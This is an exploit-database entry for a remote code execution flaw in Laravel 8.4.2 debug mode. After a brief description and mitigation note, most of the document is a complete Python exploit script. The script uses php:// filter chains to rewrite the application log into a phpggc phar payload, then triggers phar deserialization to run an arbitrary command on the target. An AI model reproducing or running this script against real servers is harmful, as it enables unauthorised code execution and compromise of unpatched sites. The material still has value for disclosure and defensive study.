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vendor:
Laravel
by:
SunCSR Team
9.8
CVSS
HIGH
Remote Code Execution
20
CWE
Product Name: Laravel
Affected Version From: <= 8.4.2
Affected Version To: <= 8.4.2
Patch Exists: YES
Related CWE: N/A
CPE: a:laravel:laravel
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Ubuntu 18.04 + nginx + php 7.4.3
2021

Laravel 8.4.2 debug mode – Remote code execution

A vulnerability in Laravel 8.4.2 allows an attacker to execute arbitrary code on the server by exploiting the debug mode. The vulnerability is caused by the lack of input validation in the debug mode, which allows an attacker to inject malicious code into the application. The attacker can then use the debug mode to execute the code on the server. The vulnerability can be exploited by sending a specially crafted request to the application.

Mitigation:

The vulnerability can be mitigated by disabling the debug mode in the application. Additionally, input validation should be implemented to prevent malicious code from being injected into the application.
Source

Exploit-DB raw data:

# Exploit Title: Laravel 8.4.2 debug mode - Remote code execution
# Date: 1.14.2021
# Exploit Author: SunCSR Team
# Vendor Homepage: https://laravel.com/
# References: 
# https://www.ambionics.io/blog/laravel-debug-rce
# https://viblo.asia/p/6J3ZgN8PKmB
# Version: <= 8.4.2
# Tested on: Ubuntu 18.04 + nginx + php 7.4.3
# Github POC: https://github.com/khanhnv-2091/laravel-8.4.2-rce


#!/usr/bin/env python3

import requests, sys, re, os

header={
    "Accept": "application/json"
}

data = {
        "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",\
        "parameters":{
            "variableName":"cm0s",
            "viewFile":""
        }
    }

def clear_log(url='', viewFile=''):

    global data

    data['parameters']['viewFile'] = viewFile
    while (requests.post(url=url, json=data, headers=header, verify=False).status_code != 200): pass
    requests.post(url=url, json=data, headers=header, verify=False)
    requests.post(url=url, json=data, headers=header, verify=False)

def create_payload(url='', viewFile=''):

    global data

    data['parameters']['viewFile'] = viewFile
    resp = requests.post(url=url, json=data, headers=header, verify=False)
    if resp.status_code == 500 and f'file_get_contents({viewFile})' in resp.text:
        return True
    return False

def convert(url='', viewFile=''):

    global data

    data['parameters']['viewFile'] = viewFile
    resp = requests.post(url=url, json=data, headers=header, verify=False)
    if resp.status_code == 200:
        return True
    return False

def exploited(url='', viewFile=''):

    global data

    data['parameters']['viewFile'] = viewFile
    resp = requests.post(url=url, json=data, headers=header, verify=False)
    if resp.status_code == 500 and 'cannot be empty' in resp.text:
        m = re.findall(r'\{(.|\n)+\}((.|\n)*)', resp.text)
        print()
        print(m[0][1])

def generate_payload(command='', padding=0):
    if '/' in command:
        command = command.replace('/', '\/')
        command = command.replace('\'', '\\\'')
    os.system(r'''php -d'phar.readonly=0' ./phpggc/phpggc monolog/rce1 system '%s' --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g' > payload.txt'''%(command))
    payload = ''
    with open('payload.txt', 'r') as fp:
        payload = fp.read()
        payload = payload.replace('==', '=3D=')
        for i in range(padding):
            payload += '=00'
    os.system('rm -rf payload.txt')
    return payload


def main():

    if len(sys.argv) < 4:
        print('Usage:  %s url path-log command\n'%(sys.argv[0]))
        print('\tEx: %s http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log \'id\''%(sys.argv[0]))
        exit(1)

    if not os.path.isfile('./phpggc/phpggc'):
        print('Phpggc not found!')
        print('Run command: git clone https://github.com/ambionics/phpggc.git')
        os.system('git clone https://github.com/ambionics/phpggc.git')

    url = sys.argv[1]
    path_log = sys.argv[2]
    command = sys.argv[3]
    padding = 0

    payload = generate_payload(command, padding)
    if not payload:
        print('Generate payload error!')
        exit(1)

    if 'http' not in url and 'https' not in url:
        url = 'http'+url
    else:
        url = url+'/_ignition/execute-solution'

    print('\nExploit...')
    clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
    create_payload(url, 'AA')
    create_payload(url, payload)
    while (not convert(url, 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s'%(path_log))):
        clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
        create_payload(url, 'AA')
        padding += 1
        payload = generate_payload(command, padding)
        create_payload(url, payload)
    
    exploited(url, 'phar://%s'%(path_log))

if __name__ == '__main__':
    main()